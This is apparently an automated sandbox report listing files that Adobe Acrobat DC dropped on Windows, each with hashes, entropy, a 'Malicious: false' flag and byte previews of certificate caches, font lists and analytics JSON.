Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7334958239154146
Encrypted:	false
SSDEEP:	3:kkFklkweltfllXlE/HT8ktz1NNX8RolJuRdxLlGB9lQRYwpDdt:kK9w6eT8w3NMa8RdWBwRd
MD5:	B2486F38690C26507A6726CF297820E4
SHA1:	47EC6381811DBB54C3CAF40A1D6BC4ABB47170FB
SHA-256:	8253056628388189274CA3990A66DC273E51DA5A7017950F068CE0143710F000
SHA-512:	2AFD4200E17D8DBC5DA3878C7D69A57DF60B657F3DACDDAD3EEB13454229A1D833117CE075BF3AC8FBC6391414CEBC42EDD9E7E86D57042B2C3402F93E5DE482
Malicious:	false
Preview:	p...... ........W.1i{c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1330815974444413
Encrypted:	false
SSDEEP:	6:kKaNtL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:yPiDnLNkPlE99SNxAhUe/3
MD5:	130A82B1A876FF1C04DE9129A27A9351
SHA1:	3FBF48A2A8360BBC8FE75F1D6E0A09B74371445A
SHA-256:	1B3CC78C3564C246249D9F2507071AFEE2744F25B64BEE1249ACC5E8590862A8
SHA-512:	C6E6739B4E8839756E78D18A9C79032925EE8F1BD3B5DDCF137F02FCDF9D00FA61310132B049EE77C6421773A994742E6365CA36B4E3D4E4B2C316017B4FA06A
Malicious:	false
Preview:	p...... ..........{{c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8000

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.8000

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.334778864575518
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFhrGbpH2UXjb24kF0YQ9oAvJM3g98kUwPeUkwRe9:YvXKXFW12UTbdfSGMbLUkee9
MD5:	E97CB8B23F00BFD81C58D2CDDC076B5F
SHA1:	608230CDF1D09D470A227EC464B550C3BE718A14
SHA-256:	11616E5514BB56F9E1FB390BDEBB4A41D716834B9D33FC97832B8FC129C1030E
SHA-512:	E6089D5F6A78B5F80A9E7F0D95AB82913663BC3A0A00A4C460104C88680933D6994E5989C578E0E0698CE9BE538C98B12575EB9FE70B5DEC12AA2E414F835C66
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d9a15dc-424c-4c48-8230-5ce08cecd94d","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736703324656,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.271823835345024
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFhrGbpH2UXjb24kF0YQ9oAvJfBoTfXpnrPeUkwRe9:YvXKXFW12UTbdfSGWTfXcUkee9
MD5:	545C4563CB8E789ED698AF4EC4254DA1
SHA1:	A02D3E3ED4866BE5E021CF155909166F95651EF3
SHA-256:	D0EF7B43425D461D6D0941C7844B6D3DBE134C55FDA9A9810D1909B33F034260
SHA-512:	95DED9D8911C13DFCF82C27C274FECB00B69576810131E8CB04C77D26233439164841F1A56F058FC2358BC4532193CBAD1B3D9F6EF10F8FFFBFB40576A805E41
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d9a15dc-424c-4c48-8230-5ce08cecd94d","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736703324656,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2489067135641285
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFhrGbpH2UXjb24kF0YQ9oAvJfBD2G6UpnrPeUkwRe9:YvXKXFW12UTbdfSGR22cUkee9
MD5:	CFF0AA4AC086435F258C8756A415BDB1
SHA1:	26711CB56D8DFAC763FBD7F9F7AAF1E45555E425
SHA-256:	70E6E5429610F214C4E07AF545C89A8AB16D6E9D3C37D9EA2906E116C95CB929
SHA-512:	678516D7A7C7C005050953EDF01DBDEC59E93C7D1C3B279FE037BA64A89B7B051F052A5F830283B0A9310D3B7F63231B3CEC87A381F55F5C76D910CCB7EE8989
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d9a15dc-424c-4c48-8230-5ce08cecd94d","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736703324656,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.308054608789311
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFhrGbpH2UXjb24kF0YQ9oAvJfPmwrPeUkwRe9:YvXKXFW12UTbdfSGH56Ukee9
MD5:	AF94DC565C2DF0706E8435C272EB188F
SHA1:	AAD7D5B98EFC14B55FEA58F6BABBC43F469D358B
SHA-256:	961AFE2EFA98965247327292E3C71D449EA79961B87E9C033E15F8C1D91E93CA
SHA-512:	D8E3FC15E46AF04470BF6C28EA7EFD0930B4D697A5B27D65373FBDBA012758CAE5B8C8E6E0241BF3F12325BE290D56EDC6D3C120B5A6B2992D943FCDE495064C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d9a15dc-424c-4c48-8230-5ce08cecd94d","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736703324656,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6766978527626035
Encrypted:	false
SSDEEP:	24:Yv6XdUXtvpLgE9cQx8LennAvzBvkn0RCmK8czOCCSwdQ:Yvow5hgy6SAFv5Ah8cv/oQ
MD5:	C901A7615FE432680BB316EBB53E1465
SHA1:	3B03530021B8BE6331091AB23F4FF95D80141BBA
SHA-256:	C0B298B96FC0D74FF99B52A38AEC3801FB8FDAF69476995AA138EC8701E27901
SHA-512:	DEA504B4E7A2C6728002CF1FBA941C00C1060CA4C24AC7927BA7B280CA965A212AEEBC3F7EAA178F7F35DC41B1FDE09B38C5A600F8C94EBED7004DDBD97B7E89
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d9a15dc-424c-4c48-8230-5ce08cecd94d","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736703324656,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.24512572886147
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFhrGbpH2UXjb24kF0YQ9oAvJf8dPeUkwRe9:YvXKXFW12UTbdfSGU8Ukee9
MD5:	8D9A6FCA50F06FBFCE230C29B3A19F4E
SHA1:	C88F5EDF1A1BD7E6AD6D4D31069EDFF756E33E95
SHA-256:	17DE339E9FA2A78BA9F41E4E9E5E970B1694D5814070A46F8F4B33B23C3E8CF4
SHA-512:	F0384DA5A59F0B6D903109F7043BC58D87D0602CB2A8FB18D1FE79FB12E7F933619BBCE0A2E5805762C9ED9A0ECC02D2E3B8DC2CC3DFAA8D272564E0D2C6C442
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d9a15dc-424c-4c48-8230-5ce08cecd94d","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736703324656,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.24803276038112
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFhrGbpH2UXjb24kF0YQ9oAvJfQ1rPeUkwRe9:YvXKXFW12UTbdfSGY16Ukee9
MD5:	C8D699789C3FD47A423C3A9345BEDDD5
SHA1:	A951E28F58C6CECD5084CD16DB15252C0F774EEC
SHA-256:	57C6AE24E1A59763CD3014F16FEA643608728EBDF5EBA20EDDD2FB0497527000
SHA-512:	E9A12E8882C363FEB90DDB52CC622ED2E293863DC4085F09D73F4E7E4D3F95E392CB60F371911FB74D07D7ECEF690DC1AAC4B9CC667B1B108515ED9CD2671B0B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d9a15dc-424c-4c48-8230-5ce08cecd94d","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736703324656,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.257727218188864
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFhrGbpH2UXjb24kF0YQ9oAvJfFldPeUkwRe9:YvXKXFW12UTbdfSGz8Ukee9
MD5:	105DD750FE7D97569C047EC287784CB1
SHA1:	0E38A1F38A5C0E33078807D309A43C25E6082757
SHA-256:	F72D14FB7AC8FE409C2154DAB2A2050C46E20A5D0FADE4F4D8D9D983FFB3327F
SHA-512:	C6024943ECD3BD3FA12A5352A7E3C77F71A8776316F30616B0B8FA914ABF31D2556CD3DA4E98BABF536B2ED742D79D9502C12A3B795104CE0FD56F7281389EB4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d9a15dc-424c-4c48-8230-5ce08cecd94d","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736703324656,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.274241113686263
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFhrGbpH2UXjb24kF0YQ9oAvJfzdPeUkwRe9:YvXKXFW12UTbdfSGb8Ukee9
MD5:	90A06A42684B07EC1E04341B5AD411A3
SHA1:	2534CB71790E5837431675F2D1ADB6E4158A3021
SHA-256:	A6A6AD43D1AB77B902295D54EE781E45B746C854E064F3CDCE84CB92E03B4264
SHA-512:	655252FBD5D406A7682579D3C55012805FF78EFED2733686D67D02B72868D355E60B7B4229DA1128FE2980B90CB0EC4DEAF8BF9C1EACAD02DA676FB4572EE963
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d9a15dc-424c-4c48-8230-5ce08cecd94d","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736703324656,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.253654238927618
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFhrGbpH2UXjb24kF0YQ9oAvJfYdPeUkwRe9:YvXKXFW12UTbdfSGg8Ukee9
MD5:	6EBDD9EC2A2EE4E978E8DE88C9C880C2
SHA1:	FB8240EE0A17E734B74467D4FE0204BCD637C864
SHA-256:	071E361B86CFFD5D7460907141D1668AD1341CF1169D2EB564322753F6FE1793
SHA-512:	ABDB5FC898AEB6BD73983309AA53BBBC03E58F380D94BA2340C8AC7E93BFA5CF81D61BAA47B512544A825DD32DBF7767746E992148D7F5710E77D7536B651408
Malicious:	false
